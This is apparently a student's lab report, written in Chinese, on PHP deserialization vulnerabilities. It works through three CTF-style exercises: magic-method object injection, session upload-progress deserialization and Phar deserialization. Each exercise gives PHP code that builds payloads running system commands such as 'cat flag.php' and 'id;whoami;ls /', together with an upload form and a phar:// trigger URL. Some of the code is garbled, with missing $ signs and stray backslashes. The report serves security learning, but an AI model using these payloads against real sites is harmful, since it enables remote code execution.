班级作业笔记报告0x09

反序列化漏洞

作业1:

反序列化介绍及魔术方法

包含flag.php文件,GET传参接收select参数,反序列化select值,__desreuct判断password不等于100,等于则结束,不等于则进入下一个判断,下一个判断判断username是否等于admin,等于admin则全局$flag参数,输出flag

构造序列化代码,构造Name类,username和password参数,并且值等于admin和100

<?php

class Name {

public function __construct(username, password) {

this-\>username = username;

this-\>password = password;

}

}

$Name = new Name("admin",100);

echo urlencode(serialize($Name));

?>

序列化后的值为O%3A4%3A%22Name%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bi%3A100%3B%7D

传参拿到flag

作业2:

反序列化原生类及session反序列化

代码审计

构造PHP序列化代码

<?php

class OowoO{

public $mdzz='system("cat flag.php");';

}

$obj = new OowoO();

echo serialize($obj);

?>

构造POST请求头

<!DOCTYPE html>

<html lang="en" xmlns:http="http://www.w3.org/1999/xhtml">

<head>

<meta charset="UTF-8">

<title>1</title>

</head>

<body>

<form action="http://172.17.0.3/" method="post" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"/>

<input type="file" name="file"/>

<input type="submit" value="submit"/>

</form>

</body>

</html>

合成请求包,将序列化代码放入filename参数的值中,序列化中有双引号的前面插入反斜杠\,因为PHP以管道符|后面的内容当作序列化字符串进行反序列化

执行cat flag.php命令查看flag,显示在文尾

执行id命令

系统根目录没有flag文件,但是网站根目录有/flag.php文件,可以读一读

作业3:

Phar反序列化

代码审计

GET传参filename参数,接收参数值,利用file_exists()函数反序列化执行eval

需要先用php生成phar文件,php生成phar文件代码,system函数里可选择填入需要执行的命令

<?php

class MyClass{

var $output = 'system("id;whoami;ls /;");';

}

$obj = new MyClass();

// 创建phar包

$phar = new Phar('shell.phar');

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 必须的stub

phar-\>setMetadata(obj); // 写入序列化的MyClass对象

$phar->addFromString('test.txt', 'test'); // 随便加一个文件

$phar->stopBuffering();

?>

更改php.ini文件中phar.readonly属性为phar.readonly = Off,然后命令运行

php a.php

访问upload.html上传shell.phar文件

在首页index.php传参?filename=phar://upload/shell.phar执行命令

个人评价:

反序列化漏洞,我自己认为是每个学网安owasptop10毕业的漏洞,因为他真的很炫,光名字就感到很高级,而且他对代码审计要求也很苛刻,你要理解魔法类,幸好之前死磕过php,不会php的感觉就是千米高空走千米铁索,而且基本上有反序列化漏洞的基本上都会有RCE的存在,本人不是php大佬,并未深入研究反序列化漏洞哈哈

相关推荐
aaaffaewrerewrwer6 小时前
免费在线 AVIF 转 WebP 工具推荐(支持批量转换 + 浏览器本地处理 + 无需上传)
安全·个人开发
zhengfei6116 小时前
【渗透工具】Payloader — 渗透测试辅助平台(payload一键所有)
网络·安全·web安全
数智工坊7 小时前
机器人运动控制:采样、优化与学习三大流派深度对比与实战
android·学习·机器人
ZC跨境爬虫7 小时前
跟着 MDN 学JavaScript day_7:数学运算与逻辑判断实战测试
开发语言·前端·javascript·学习·ecmascript
Multipath7128 小时前
无人区不掉线:多链路聚合路由,为环塔拉力赛筑起“空中通讯走廊”
网络·5g·安全·无人机·实时音视频
知识浅谈8 小时前
人工智能日报 每日AI新闻(2026年6月8日):OpenAI安全加码、苹果AI升级前夜与国产AI应用落地
人工智能·安全·chatgpt
MartinYeung59 小时前
[论文学习]隐私保护联邦特徵选择与差分隐私的的工程实践框架
学习
qeen8710 小时前
【C++】类与对象之类的默认成员函数(二)
android·c语言·开发语言·c++·笔记·学习
CRMEB系统商城10 小时前
CRMEB多商户系统(Java)v2.3公测版发布
java·开发语言·人工智能·小程序·开源·php
上海云盾-小余10 小时前
接口高频恶意刷取怎么防?网关限流搭配 WAF 联合防护方案
网络·安全